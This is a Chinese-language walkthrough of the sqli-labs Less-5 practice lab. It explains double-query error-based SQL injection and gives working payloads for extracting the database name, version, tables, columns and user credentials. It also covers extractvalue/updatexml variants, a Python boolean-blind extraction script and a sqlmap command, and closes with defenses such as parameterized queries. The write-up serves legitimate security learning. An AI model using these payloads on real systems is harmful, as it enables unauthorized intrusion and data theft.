sqlilabs靶场是学习SQL注入绕不开的一套环境,而less-5堪称从“有回显”到“无回显”的分水岭。这一关页面永远是“You are in...”,一不显示数据,二只存在真假两种响应。很多人在前面关卡能靠union直接读出账号密码,到了这里就卡住了。这篇笔记就围绕sqlilabs的less-5完整过关过程展开,我会先把双查询报错注入的原理讲透,再给出手工注入每一步的操作和SQL语句,最后把常见坑、替代方案以及防御建议整理成速查清单。无论你是刚过完less-1到less-4准备进阶的新手,还是想复习报错注入原理的从业者,这篇都能直接参考。
1. 关卡分析与解题思路
1.1 less-5 与之前关卡的差异
前四关的流程一般是:判断注入点、猜测列数、union select爆出回显位、然后直接在页面上读出数据库名、表名和字段值。因为页面会把SQL查询的结果直接渲染出来,查询语句拼到哪里,数据就显示在哪里,非常直观。
less-5的设计思路完全不同。打开页面提交?id=1,页面只显示一行“You are in...”,后面不管id怎么变,页面都不会输出查询结果。如果提交?id=1',页面会直接抛出MySQL语法错误,并且错误信息里还带着SQL语句片段。这就意味着:
- 查询是正常执行的,只是结果没有输出到页面上;
- 错误信息被原样显示出来了,这是一个可以“借用”的输出通道;
- 我们可以通过构造SQL语句,让查询过程中的报错信息携带我们想要的数据内容。
只有两种响应状态的时候,最朴素的做法是走布尔盲注或时间盲注:一个字符一个字符地猜。但less-5既然默认把数据库错误显示了出来,用手工报错注入是最直接、最高效的方案。
1.2 为什么选择报错注入而不是纯盲注
同样面对“无回显”场景,报错注入、布尔盲注、时间盲注三个方案其实都能解这一关,关键看成本和稳定性。
| 方案 | 判断依据 | 单次请求获取数据量 | 优点 | 缺点 |
|---|---|---|---|---|
| 布尔盲注 | 页面返回正常或异常 | 1 bit | 不需要报错信息,兼容性强 | 请求数量巨大,效率低 |
| 时间盲注 | 响应时间延迟 | 1 bit | 连真假响应都没有时也能用 | 依赖网络稳定性,容易误判 |
| 报错注入 | 报错信息中拼接数据 | 几十到上千字符 | 一次请求就能拿到完整数据 | 依赖数据库版本和报错回显配置 |
我实测下来,less-5在默认环境下配置了完整的MySQL错误回显,所以用报错注入一条payload就能把整个数据库名带出来。纯盲注虽然也能跑通,但一个库名要发几十次请求,表名、字段名、数据加起来就是几百上千次请求,纯手工完全是在折磨自己。
1.3 双查询报错注入的核心原理
less-5最经典的解法叫“双查询注入”,英文叫Double Query Injection。它利用的是MySQL在count(*)+group by执行过程中的一个特殊行为。
核心payload长这样:
and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --+很多人第一次看到这个payload是一脸懵的,我尽量用大白话拆开讲。
先看内层的三个函数:
rand(0)生成一个固定序列的伪随机小数,乘以2再取整,得到的结果只可能是0或1。关键点在于rand(0)的序列是固定的,不是完全随机的,这为“重复键”的产生提供了确定性。count(*)是聚合计数,配合group by x会把x字段的值分组,每一组统计数量。concat()把多个字符串拼接起来,在这里是把随机数、分隔符、查询结果拼在一起,相当于把payload、波浪号、目标数据、波浪号放在同一个字段里。
整条语句执行时,MySQL会对group by的分组键x进行多次计算。第一次计算生成分组键,如果分组键已经存在,它还会再计算一次来插入临时表。因为floor(rand(0)*2)的序列是固定的0、1重复组合,数据量一大,分组键就必然会出现重复。当重复键碰上临时表的主键约束,MySQL就会抛出类似Duplicate entry '1~database()~1' for key 'group_key'的报错。
注意看,报错信息里那串1~数据库名~1就是concat拼接出来的结果。数据库名通过一个子查询塞进了concat里,然后数据库名的值就随着报错一起打印到了页面上。这就是整个技巧的精华:不是让程序输出数据,而是让程序把数据当成错误信息的一部分吐出来。
很多人自己尝试构造时习惯用rand()而不是rand(0),这会导致每次执行时随机序列完全不同,有时能触发报错,有时不能,结果非常不稳定。less-5标准解法里用rand(0)是有原因的,后面第三章会单独讲。
1.4 这一关的数据“出站”通道是如何建立的
可以这么理解出站通道:正常网站的SQL查询结果是一辆装满货物的卡车,页面负责把货物卸下来给用户看。到了less-5,页面把卸货环节砍了,货物再多你也看不见。报错注入做的事情,就是另外接了一条“故障报警管道”——程序在计算过程遇到异常时的错误日志。我们想办法把目标数据预先缝进异常信息里,管道一响,数据跟着错误说明一起冒出来。
less-5里能看到MySQL错误,说明靶场源码在连接数据库或者执行查询后直接调用了类似mysqli_error()并且把返回值打印在页面上。这个过程不需要页面主动查询并输出数据库结果,只需要数据库产生了错误信息即可。所以构造payload的目标就很清晰:让数据库执行过程中必然抛错,同时让报错信息里携带我们指定的子查询结果。
2. 手工注入实操全流程
2.1 注入点探测与闭合方式判断
先打开靶场,访问http://127.0.0.1/sqli-labs/Less-5/?id=1,页面显示“You are in...”。接着依次测试:
?id=1' ?id=1' --+ ?id=1' and '1'='1提交?id=1'时页面出现数据库语法错误,说明单引号被拼进了SQL语句,破坏了原有结构。再提交?id=1' --+,页面重新显示“You are in...”,说明两个横线注释把后面多余的内容注释掉了,查询恢复正常。这组测试确认了SQL语句大概率是这种形式:
select * from table where id='$id'闭合方式是单引号字符型。这一点判断错了后面全白搭,所以哪一关到第一步就要拿出足够耐心,不要上来就套payload。
2.2 确认查询列数与页面响应差异
常规的union注入在确认列数时用order by,less-5也一样:
?id=1' order by 3 --+ ?id=1' order by 4 --+order by 3时页面正常返回“You are in...”,order by 4时报错。说明查询结果的列数就是3列。这里有个细节:因为页面不展示数据,我们不能像前几关那样通过“数字出现在第几个回显位”来判断,只能靠页面是否报错、是否显示“You are in...”来判断。逻辑上,order by 4确实超出了查询结果的列数,MySQL会报“Unknown column '4' in 'order clause'”,页面自然显示异常。
虽然报错注入不一定非要知道列数,但确认列数能帮你判断表结构,也方便后面万一需要切换到union注入或手工编写脚本时心里有数。
2.3 报错注入获取数据库名和版本信息
直接上核心payload获取当前数据库名:
?id=1' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --+我实测浏览器地址栏里可以直接粘贴这段,默认编码下也能正常执行。如果要更规范,可以在请求工具里把空格编码成%20,--+保留原样,加号代表空格注释符号。执行后页面报错信息中能看到类似这样的片段:
Duplicate entry '1~security~1' for key '<group_key>'这里的security就是当前数据库名。
想拿版本信息,把database()替换成version()即可:
?id=1' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select version()),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --+返回结果里会出现MySQL版本号,比如5.7.26。这一步同时验证了两件事:报错注入的通路是通的,子查询成功执行并携带了数据。
2.4 获取所有表名的完整过程
拿到了数据库名security,接下来要查这个库下的所有表。核心思路是把内层子查询的database()替换成一个查询information_schema.tables的子查询:
?id=1' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --+逐个改动limit 0,1里的偏移量,limit 1,1、limit 2,1依次读取,就能把security库下的表一条一条挖出来。我实际脱出来的表有emails、referers、uagents、users四张,其中users表里显然存着账号信息。
如果嫌一条一条太慢,可以在子查询里换成group_concat(table_name)一次性拼接多个表名:
?id=1' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --+但要注意,group_concat默认的最大长度是1024字符(实际受group_concat_max_len变量控制),表很多的时候可能被截断。报错信息本身也在重复拼接,两个因素叠加,输出很可能不完整。所以主推方案还是limit一条条读,或者用substr对结果切片。
2.5 获取字段名与目标数据
接下来锁定users表,先看它有哪些列:
?id=1' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --+同样通过limit逐条翻,最终能拿到id、username、password三个字段名。再查具体的数据行:
?id=1' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select concat(username,0x3a,password) from security.users limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --+0x3a是冒号的十六进制编码,用来把用户名和密码分隔开。执行后报错信息中会出现类似1~Dumb~Dumb~1的内容,第一个是用户名,第二个是密码。less-5到这一步就算彻底通关了。
如果不想把表名列名写在SQL语句里,也可以把security.users换成(select table_name ...)这种子查询方式,但实际测试下来直接写死字符串更省心,还能减少一层嵌套带来的语法问题。
3. 常见问题与排查技巧实录
3.1 为什么不能用 rand() 代替 rand(0)
这是我在less-5上踩过最大的坑。第一次自己构造payload时图省事直接写了floor(rand()*2),结果提交了几次,时好时坏,有时候页面甚至完全不报错。后来把rand()和rand(0)对比测试才发现,普通rand()每次调用返回的随机数都不一样,group by在构建临时表时对分组键的两次计算无法保证结果一致,重复键的产生成了完全随机的概率事件。
rand(0)则不同,它使用固定种子0生成一个确定的伪随机序列。在这个序列的基础上做floor(rand(0)*2),结果虽然还是0和1的组合,但组合顺序是固定的,重复键必然会出现。只要information_schema.columns里的数据行数足够多,触发重复键是必然结果,而不是碰运气。
所以说,这条payload里的rand(0)不是随便选的,它保证了报错触发的确定性。以后自己写报错注入payload,优先复刻这个固定种子的写法,别自己发挥。
3.2 报错信息太长导致数据看不到尾部
用group_concat把多个表名或字段名拼在一起时,输出经常只显示前半段,后半段消失不见。原因有两个:group_concat有长度上限;报错信息本身在页面上显示时也可能被HTML截断或换行干扰。
解决方法是分片读取。用substr()把结果切成小段,比如:
substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,50)第一段取1到50个字符,第二段取51到100,配合limit偏移量逐步读完。虽然请求次数变多了,但每一条数据都是完整可靠的,也不会因为输出过长被浏览器和数据库截断。
3.3 页面没有报错回显时怎么办
这个情况在真实环境中非常常见,很多系统即使SQL执行出错,也会对外屏蔽错误细节,只返回一个500页面。less-5的默认配置属于靶场的“福利局”,真的进了实战环境,发现页面完全不吐报错时,就要退回盲注思路。
布尔盲注的核心是利用真假响应判断字符编码值。比如猜数据库名的第一个字符ASCII码是否大于115:
?id=1' and ascii(substr(database(),1,1))>115 --+页面正常显示“You are in...”说明条件为真,否则不显示。基于这个逻辑可以用Python写一个简单的二分法脚本,逐字符爆破数据。我贴一段当时用的简化脚本,方便参考:
import requests url = "http://127.0.0.1/sqli-labs/Less-5/" result = "" def fetch(condition): payload = f"?id=1' and {condition} --+" resp = requests.get(url + payload) return "You are in" in resp.text for pos in range(1, 20): low, high = 32, 126 while low < high: mid = (low + high) // 2 if fetch(f"ascii(substr(database(),{pos},1))>{mid}"): low = mid + 1 else: high = mid result += chr(low) print(pos, result)脚本原理就是标准的二分查找:每次判断目标字符的ASCII码是否大于中间值,把搜索区间不断缩小,直到确定字符编码。这种方式不需要任何报错信息,只需要页面存在真假两种状态。
3.4 当前环境换成MySQL 8.0后报错注入失效
less-5默认跑在MySQL 5.x环境下,双查询报错注入非常稳定。但我把这个靶场挪到MySQL 8.0的容器里,同样的payload就出现了不报错或者报错信息没有数据的情况。原因是rand(0)+group by触发的临时表主键冲突行为,在高版本MySQL中的执行计划发生了变化,不再稳定产生重复键错误。
解决办法是换用其他报错函数。MySQL 5.1以上版本自带extractvalue和updatexml两个函数,它们对XML路径参数有格式校验,传入非法的XPATH格式就会报错。利用这个特性可以玩出更简洁的报错注入,以less-5为例:
?id=1' and extractvalue(1, concat(0x7e, database(), 0x7e)) --+ ?id=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1) --+执行后报错信息会直接包含波浪号和数据库名。这类函数报错没有临时表分组那套复杂机制,兼容性更好,在MySQL 5.1到8.0的常用版本里都能用。如果哪天你手里的靶场环境自己搭过,或是在Docker里用了高版本MySQL,直接用extractvalue更省心。
3.5 sqlmap过关的补充思路
手工跑通之后,再用sqlmap做交叉验证,能极大增强对payload的理解。这条命令就是针对less-5的自动化跑法:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1" --dbms mysql --technique E --batch --dbs--technique E表示只使用Error-based注入技术,正好对应less-5的报错注入场景。--dbs用于枚举数据库名。实测sqlmap默认的检测也能识别出这个注入点,但明确指定--technique E可以避免它在布尔盲注上浪费时间。工具能跑通不代表手工就不用学了,因为工具生成的payload往往很复杂,一旦目标环境变了,不理解原理根本没法手动调整。
4. 从less-5到真实防御与扩展思路
4.1 报错注入在真实环境中的前提条件
很多初学者在靶场里玩得风生水起,进了真实环境却碰了一鼻子灰。原因在于真实业务系统很少会把数据库原始报错直接抛给用户。报错注入必须满足一个前提:页面能输出SQL执行错误的内容。如果应用层捕获了异常并返回一张“系统繁忙”的提示页,那么extractvalue报出来的错误信息根本到不了用户浏览器。
我在测试一个老旧内部系统时遇到过一种特殊情况:系统在开发环境开启了错误展示,数据库连接无误时页面正常,一旦SQL语法错误,页面上会直接打印出含SQL语句的错误详情。那时用updatexml轻轻松松把数据库版本、当前用户、库名全部带了出来。这种问题在框架诞生前的遗留PHP项目里并不少见。
所以报错注入的实战价值主要体现在:开发调试阶段错误展示被遗留到生产、数据库异常处理不完善、自定义错误页面直接拼了数据库错误信息这三种场景。与其指望这些漏洞,不如把注意力放在如何发现它们上面:主动提交特殊字符,观察页面响应中是否出现SQL关键字、函数名或数据库版本标识。
4.2 开发视角的规避手段
既然知道了less-5的攻击原理,防御手段就一目了然。这套注入能成立有两个关键点:用户输入被拼进SQL语句、错误信息被直接输出。堵住任何一个,报错注入就打不穿。
参数化查询是首选方案,也就是用预处理语句替代字符串拼接。以PHP的PDO为例:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);用户传入的1'只会被当作普通字符串传给数据库,永远不会被当成代码执行。其次是关闭生产环境的错误显示,确保display_errors为Off状态,把错误信息写入日志而不是打印到页面。最后是数据库账号的权限收拢,查询账号只授予所在库的必要权限,即使注入成功,也无法访问information_schema之外的数据。
4.3 从这一关领悟的核心方法论
less-5的本质是“输出通道受限”场景。页面不显示结果,但错误信息成了可用输出。通过这种方式,我逐渐意识到SQL注入的探索过程可以抽象成三步:先确定输入是否进入SQL语句、再确认有哪些输出通道、最后根据通道类型选择合适的技术方案。union注入是数据回显通道,布尔盲注是状态通道,时间盲注是速度通道,报错注入是异常通道。
这关让我印象最深的并不是那段复杂的双查询payload,而是理解到“输出”并不局限于页面数据区。任何由用户输入影响并反映到前端的内容,包括报错信息、响应时间、状态码,都可以成为数据提取的载体。往后打堆叠注入、二次注入、宽字节注入时,这层认知帮我在环境变化时快速调整思路,而不是只背payload。
报错注入真正难的不是背payload,而是弄清楚错误是怎么被“诱导”出来的。当初我在less-5上花了一个晚上,把count、floor、group by拆开,逐个子查询去掉又加回来,调试到页面报错里完整出现数据库名才彻底明白。如果你也卡在这一关,不要急着跑sqlmap,先手动凑一遍,把报错的产生机制摸清楚,后面再碰盲注、堆叠注入和二次注入都会顺很多。